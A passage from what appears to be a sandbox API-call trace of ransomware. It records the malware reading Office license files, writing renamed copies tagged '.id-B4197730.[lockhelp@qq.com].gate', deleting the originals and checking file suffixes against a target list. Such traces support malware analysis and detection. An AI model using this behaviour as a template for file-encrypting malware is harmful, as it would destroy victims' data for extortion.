lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5650, lpOverlapped=0x0) returned 1 [0317.238] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.238] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x112, lpOverlapped=0x0) returned 1 [0317.238] SetEndOfFile (hFile=0x4a0) returned 1 [0317.250] CloseHandle (hObject=0x4a0) returned 1 [0317.251] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.252] SetEndOfFile (hFile=0x4b4) returned 1 [0317.299] CloseHandle (hObject=0x4b4) returned 1 [0317.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0317.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.300] lstrlenW (lpString=".doc") returned 4 [0317.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.300] lstrlenW (lpString=".docx") returned 5 [0317.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.300] lstrlenW (lpString=".pdf") returned 4 [0317.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.300] lstrlenW (lpString=".xls") returned 4 [0317.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.300] lstrlenW (lpString=".xlsx") returned 5 [0317.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.301] lstrlenW (lpString=".ppt") returned 4 [0317.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.301] lstrlenW (lpString=".zip") returned 4 [0317.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString=".rar") returned 4 [0317.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString=".bz2") returned 4 [0317.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString=".7z") returned 3 [0317.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.301] lstrlenW (lpString=".dbf") returned 4 [0317.301] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.301] lstrlenW (lpString=".1cd") returned 4 [0317.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0317.301] lstrlenW (lpString=".jpg") returned 4 [0317.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.301] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=22092) returned 1 [0317.301] CloseHandle (hObject=0x4b4) returned 1 [0317.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0317.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.302] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.302] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0317.303] GetLastError () returned 0x0 [0317.303] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x564c, lpOverlapped=0x0) returned 1 [0317.311] WriteFile (in: hFile=0x448, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5650, lpOverlapped=0x0) returned 1 [0317.313] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.313] WriteFile (in: hFile=0x448, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x114, lpOverlapped=0x0) returned 1 [0317.313] SetEndOfFile (hFile=0x448) returned 1 [0317.313] CloseHandle (hObject=0x448) returned 1 [0317.313] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.313] SetEndOfFile (hFile=0x4b4) returned 1 [0317.315] CloseHandle (hObject=0x4b4) returned 1 [0317.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0317.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.316] lstrlenW (lpString=".doc") returned 4 [0317.316] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.316] lstrlenW (lpString=".docx") returned 5 [0317.316] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.316] lstrlenW (lpString=".pdf") returned 4 [0317.316] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.316] lstrlenW (lpString=".xls") returned 4 [0317.316] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.316] lstrlenW (lpString=".xlsx") returned 5 [0317.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.317] lstrlenW (lpString=".ppt") returned 4 [0317.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.317] lstrlenW (lpString=".zip") returned 4 [0317.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString=".rar") returned 4 [0317.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString=".bz2") returned 4 [0317.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString=".7z") returned 3 [0317.317] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.317] lstrlenW (lpString=".dbf") returned 4 [0317.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.317] lstrlenW (lpString=".1cd") returned 4 [0317.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0317.317] lstrlenW (lpString=".jpg") returned 4 [0317.317] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.317] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11613) returned 1 [0317.317] CloseHandle (hObject=0x4b4) returned 1 [0317.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0317.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.318] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.318] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0317.319] GetLastError () returned 0x0 [0317.319] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0317.362] WriteFile (in: hFile=0x448, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0317.363] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.363] WriteFile (in: hFile=0x448, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11a, lpOverlapped=0x0) returned 1 [0317.363] SetEndOfFile (hFile=0x448) returned 1 [0317.363] CloseHandle (hObject=0x448) returned 1 [0317.363] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.363] SetEndOfFile (hFile=0x4b4) returned 1 [0317.464] CloseHandle (hObject=0x4b4) returned 1 [0317.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0317.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.605] lstrlenW (lpString=".doc") returned 4 [0317.605] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.605] lstrlenW (lpString=".docx") returned 5 [0317.605] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.605] lstrlenW (lpString=".pdf") returned 4 [0317.605] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.605] lstrlenW (lpString=".xls") returned 4 [0317.605] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.605] lstrlenW (lpString=".xlsx") returned 5 [0317.605] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.605] lstrlenW (lpString=".ppt") returned 4 [0317.605] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.605] lstrlenW (lpString=".zip") returned 4 [0317.605] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.606] lstrlenW (lpString=".rar") returned 4 [0317.606] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.606] lstrlenW (lpString=".bz2") returned 4 [0317.606] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.606] lstrlenW (lpString=".7z") returned 3 [0317.606] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.606] lstrlenW (lpString=".dbf") returned 4 [0317.606] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.606] lstrlenW (lpString=".1cd") returned 4 [0317.606] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0317.606] lstrlenW (lpString=".jpg") returned 4 [0317.606] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.644] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11613) returned 1 [0317.644] CloseHandle (hObject=0x494) returned 1 [0317.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0317.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0317.645] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.645] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.646] GetLastError () returned 0x0 [0317.646] ReadFile (in: hFile=0x494, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0317.706] WriteFile (in: hFile=0x468, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0317.707] ReadFile (in: hFile=0x494, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.707] WriteFile (in: hFile=0x468, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11a, lpOverlapped=0x0) returned 1 [0317.707] SetEndOfFile (hFile=0x468) returned 1 [0317.707] CloseHandle (hObject=0x468) returned 1 [0317.707] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.708] SetEndOfFile (hFile=0x494) returned 1 [0317.709] CloseHandle (hObject=0x494) returned 1 [0317.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString=".doc") returned 4 [0317.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".docx") returned 5 [0317.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.711] lstrlenW (lpString=".pdf") returned 4 [0317.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".xls") returned 4 [0317.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".xlsx") returned 5 [0317.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.711] lstrlenW (lpString=".ppt") returned 4 [0317.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString=".zip") returned 4 [0317.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".rar") returned 4 [0317.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".bz2") returned 4 [0317.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString=".7z") returned 3 [0317.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString=".dbf") returned 4 [0317.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString=".1cd") returned 4 [0317.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0317.711] lstrlenW (lpString=".jpg") returned 4 [0317.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.712] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11621) returned 1 [0317.712] CloseHandle (hObject=0x494) returned 1 [0317.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0317.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0317.713] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.713] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.713] GetLastError () returned 0x0 [0317.713] ReadFile (in: hFile=0x494, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0318.038] WriteFile (in: hFile=0x468, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0318.039] ReadFile (in: hFile=0x494, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.039] WriteFile (in: hFile=0x468, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x116, lpOverlapped=0x0) returned 1 [0318.039] SetEndOfFile (hFile=0x468) returned 1 [0318.039] CloseHandle (hObject=0x468) returned 1 [0318.039] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.039] SetEndOfFile (hFile=0x494) returned 1 [0318.041] CloseHandle (hObject=0x494) returned 1 [0318.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0318.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0318.841] lstrlenW (lpString=".doc") returned 4 [0318.841] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.841] lstrlenW 